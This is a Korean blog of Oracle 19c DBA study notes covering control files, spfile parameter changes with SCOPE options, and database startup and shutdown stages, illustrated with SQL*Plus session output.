                                                         /app/ora19c/oradata/DB19/control02.ctl

컨트롤 파일의 이름,타입과 위치정보

 

SQL>  DESC v$controlfile;
 Name                                      Null?    Type
 ----------------------------------------- -------- ----------------------------
 STATUS                                             VARCHAR2(7)
 NAME                                               VARCHAR2(513)
 IS_RECOVERY_DEST_FILE                              VARCHAR2(3)
 BLOCK_SIZE                                         NUMBER
 FILE_SIZE_BLKS                                     NUMBER
 CON_ID                                             NUMBER

SQL>  SELECT name FROM v$controlfile;

NAME
--------------------------------------------------------------------------------
/app/ora19c/oradata/DB19/control01.ctl
/app/ora19c/oradata/DB19/control02.ctl

 

SQL> !ls /app/ora19c/oradata/DB19/*.ctl
/app/ora19c/oradata/DB19/control01.ctl /app/ora19c/oradata/DB19/control02.ctl

 

 

 

 

반응형

'SQL' 카테고리의 다른 글

오라클 Control file 확인  (0) 2022.11.17
오라클 관리자 실습 과정  (0) 2022.11.15
오라클 파라미터 파일  (0) 2022.11.08
오라클 스타트업  (0) 2022.11.08
SQL 단일행 함수  (0) 2022.11.08
반응형

파라미터파일

인스턴스에 접속하려면 파라미터파일이 필요하다.
파라미터파일 하나로 여러곳 공유 가능하다. (다중 인스턴스 구현)

파미터파일중에 실시간으로 바꿀수있는게 있고 실시간으로 바꾸지 못하는게 있다.

 

 

SQL> SELECT name, value FROM V$PARAMETER;
 - Parameter 이름과 설정된 값을 확인한다.
SQL> SHOW PARAMETER <parameter 명>
 - 설정된 parameter 값을 확인 한다.

 

SQL>  SELECT name, value FROM v$parameter WHERE name = 'spfile';

NAME
--------------------------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
spfile
/app/ora19c/19c/dbs/spfileDB19.ora

: 파라미터 파일의  위치를 알 수 있다.

 


SQL> SHOW PARAMETER instance_name

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
instance_name                        string      DB19
SQL>

설정된 파라미터 값을 확인할 수 있다.

 

 

SQL> !ls $ORACLE_HOME/dbs
hc_DB19.dat  init.ora  lkDB19  orapwDB19  spfileDB19.ora

파라미터파일의 위치는 오라클홈의 dbs디렉토리 안에 있다.

 

 

spfile 환경에서 파라미터 확인과 수정

 

SQL> SELECT name, value FROM v$spparameter WHERE name LIKE '%undo%';

NAME
--------------------------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
temp_undo_enabled


undo_management


undo_tablespace
UNDOTBS1


NAME
--------------------------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
undo_retention
500
현재 운영중인 파라미터 값 조회,'SHOW PARAMETER ~'에 출력 값과 동일하다.

 

SQL>  SELECT name,value FROM v$parameter WHERE name LIKE '%undo%';

NAME
--------------------------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
temp_undo_enabled
FALSE

undo_management
AUTO

undo_tablespace
UNDOTBS1


NAME
--------------------------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
undo_retention
500
 - spfile에 설정된 값을 조회한다.

 


SQL> SHOW PARAMETER undo;

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
temp_undo_enabled                    boolean     FALSE
undo_management                      string      AUTO
undo_retention                       integer     500
undo_tablespace                      string      UNDOTBS1

 

SQL> ALTER SYSTEM SET  = <값>;</parameter 명>
 - 지정한 파라미터의 값을 수정한다.
 - spfile 사용 환경에서 설정된 파라미터 값은 항구적으로 수정된다.
 - 동적인 파라미터만 수정 가능하다.

 


SQL> ALTER SYSTEM SET undo_retention=300;

System altered.

SQL> SELECT name, value FROM v$spparameter
  2  WHERE name = 'undo_retention';

NAME
--------------------------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
undo_retention
300


값을 300으로 변경

 

SQL> SHOW PARAMETER undo_retention;

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
undo_retention                       integer     300

 

 

SQL> shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
SQL> startup
ORACLE instance started.

Total System Global Area  830469472 bytes
Fixed Size                  8901984 bytes
Variable Size             562036736 bytes
Database Buffers          251658240 bytes
Redo Buffers                7872512 bytes
Database mounted.
Database opened.
SQL> SHOW PARAMETER undo_retention;

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
undo_retention                       integer     300
SQL>

shutdown 후 startup 후에도 적용된 모습

 

Spfile 운영 환경에서 scope 설정에 따른 parameter값의 변화

 

SQL> ALTER SYSTEM SET <parameter 명> = <값> SCOPE = [SPFILE | MEMORY | BOTH];
 - 지정한 parameter의 값을 수정한다. 
 - SCOPE 절은 spfile 운영 환경인 경우만 사용한다.
 - SPFILE : spfile만 수정한다. (정적 parameter 수정에서는 필수이다.)
 - MEMORY : 현재 DB의 parameter 설정 값만 수정한다. spfile은 수정하지 않음으로 DB를 재시작하면
 원래 설정 값으로 환원된다.
 - BOTH : spfile과 instance의 설정된 parameter값을 모두 수정한다.(default값)

 

SQL> SHOW PARAMETER undo_retention;

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
undo_retention                       integer     300
SQL> SHOW PARAMETER undo_retention;

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
undo_retention                       integer     300
SQL> ALTER SYSTEM SET undo_retention = 600 SCOPE = memory;

System altered.

SQL> SHOW PARAMETER undo_retention;

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
undo_retention                       integer     600
SQL> SELECT name, value FROM v$parameter WHERE name = 'undo_retention';

NAME
--------------------------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
undo_retention
600


SQL> SELECT name, value FROM v$spparameter WHERE name = 'undo_retention';

NAME
--------------------------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
undo_retention
300

 

SQL> startup
ORACLE instance started.

Total System Global Area  830469472 bytes
Fixed Size                  8901984 bytes
Variable Size             562036736 bytes
Database Buffers          251658240 bytes
Redo Buffers                7872512 bytes
Database mounted.
Database opened.
SQL> SHOW PARAMETER undo

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
temp_undo_enabled                    boolean     FALSE
undo_management                      string      AUTO
undo_retention                       integer     300
undo_tablespace                      string      UNDOTBS1
SQL> ALTER SYSTEM SET undo_retention = 500 SCOPE = spfile;

System altered.

SQL> SHOW PARAMETER undo_retention;

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
undo_retention                       integer     300
SQL> SELECT name,value FROM v$parameter WHERE name = 'undo_retention';

NAME
--------------------------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
undo_retention
300


SQL> SELECT name,value FROM v$spparameter WHERE name = 'undo_retention';

NAME
--------------------------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
undo_retention
500

반응형

'SQL' 카테고리의 다른 글

오라클 관리자 실습 과정  (0) 2022.11.15
오라클 컨트롤파일  (0) 2022.11.08
오라클 스타트업  (0) 2022.11.08
SQL 단일행 함수  (0) 2022.11.08
SQL 제약 조건 UK, NOT NULL, CHECK  (0) 2022.11.08
반응형

STARTUP 과정

STARTUP  spfileora19c.ora 파일로 오라클을 실행한다. 한단계씩 올라갈 수 있다. (두단계씩은 못올라감)


alter database 단계명 (DB가 shutdown 상태가 아니라 NOMOUNT나 MOUNT 상태인 경우 오라클을 더 상위 단계로 올리기 위해 사용한다.

NOMOUNT 상태의 DB를 한번에 OPEN 상태로 올릴 수는 없다.

MOUNT 인스턴스 시작,  컨트롤파일을 열어서 물리적인 위치나 상태정보를 알 수 있다.
OPEN   모든 파일을 열어서 일반사용자가 사용 할 수 있게 해준다. 

READ ONLY  DB를 읽기전용으로 OPEN한다.

READ WRITE DB를 읽기쓰기 상태로 OPEN한다.

 

SQL> SELECT STATUS FROM V$INSTANCE;
 - DB의 상태를 확인한다.
 - STATUS 칼럼의 값은 DB의 상태를 나타낸다.

 

STARTUP NOMOUNT으로 스타트하여 인스턴스가 시작된 상태
DATABASE MOUNT
DATABASE OPEN


Shutdown

Shutdown 종료 옵션

NORMAL: 현재 사용 중인 모든 접속이 종료되길 기다린다.(서버에 접속한사람이 없을때 셧다운)

TRANSACTIONAL : 진행 중인 transaction은 기다려주지만 transaction이 진행 중이지 않은 세션은 강제 
종료시킨다. (서버에 접속한사람 끊고 셧다운 (작업중이면 끝나고 셧다운시킴))
IMMEDIATE : 모든 transaction과 접속을 강제로 종료한다. (서버에 접속한사람 강제로 셧다운)

ABORT : DB의 상태와는 상관없이 메모리에서 instance를 해제한다. (정전)



SYS 계정의 SHUTDOWN IMMEDIATE
일반 사용자 계정으로는 shutdown 명령을 할 수 없다.

startup 역순

오픈단계 : 컨트롤파일로 데이터파일, 리두로그파일을 열어야한다.
마운트단계 : 파라미터파일안에 컨트롤파일의 정보를 읽어서 실행하고 데이터파일과 리두로그파일의 위치,상태정보를 확인한다.
노마운트단계 : 파라미터파일의 정보는 위치와 이름이 정해져 있다.

반응형

'SQL' 카테고리의 다른 글

오라클 컨트롤파일  (0) 2022.11.08
오라클 파라미터 파일  (0) 2022.11.08
SQL 단일행 함수  (0) 2022.11.08
SQL 제약 조건 UK, NOT NULL, CHECK  (0) 2022.11.08
오라클 트렌젝션, 데드락  (0) 2022.11.08

+ Recent posts